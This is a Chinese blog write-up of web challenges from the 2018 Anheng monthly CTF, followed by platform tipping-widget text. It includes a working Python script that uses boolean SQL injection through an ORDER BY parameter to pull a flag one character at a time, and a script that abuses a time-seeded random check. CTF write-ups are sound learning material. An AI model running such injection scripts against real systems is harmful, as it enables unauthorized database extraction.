2018安恒月赛wp——web

边听大佬直播边写wp

第一题:sql注入

提示信息:

  • order注入
  • select flag from flag

order注入表示利用布尔注入看最终的排序情况
select flag from flag表示不用查库查表,直接上手

直接跑python脚本

import  requests

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}?!')
sjk = ''

for i in range(1,30):
    for j in payloads:
        response = requests.get('http://101.71.29.5:10004/?order=if(substr((select%%20flag%%20from%%20flag),%s,1)=%%27%s%%27,name,id)&button=submit' % (i,j))
        data=response.content.decode("utf-8")
        if data.find('Beer')<data.find('snacks'):
            sjk+=j
            print(j)
            break
print(sjk)

这里写图片描述

第二题:

一开始想成是md5的hash扩展长度攻击,但是有没有办法匹配。又想是key的遍历,觉得也不太靠谱。时间戳倒是想到了,但是没想到是一秒内时间戳,看了wp就已经懂了。

随机函数是由时间戳决定的,属于伪随机,精度为秒。
当我们随便输入一串md5时,他会给出刚才提交时的时间戳形成的 resault r e s a u l t 我 们 可 以 编 写 脚 本 , 在 一 秒 内 实 现 两 次 递 交 , 将 得 到 的 resault再次提交以获得flag

import requests
import re
import io
import sys

url="http://192.168.32.128/flag.php"
s=requests.Session()
s.encoding='utf-8'
payload={'answer':'6dc32db3170899e5b138eb4becaf69a8'}
q=s.post(url,data=payload)
html_doc=q.content.decode('utf-8')
payload={'answer':html_doc[160:192]}
q=s.post(url,data=payload)
print(q.content.decode('utf-8'))

具体实现等下周二复现。

第三题

原谅我不会写。等下周二复现。

注:第一题sqlmap的用法等下周二复现,第二题具体操作等下周二复现,第三题所有做法等下周二复现。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值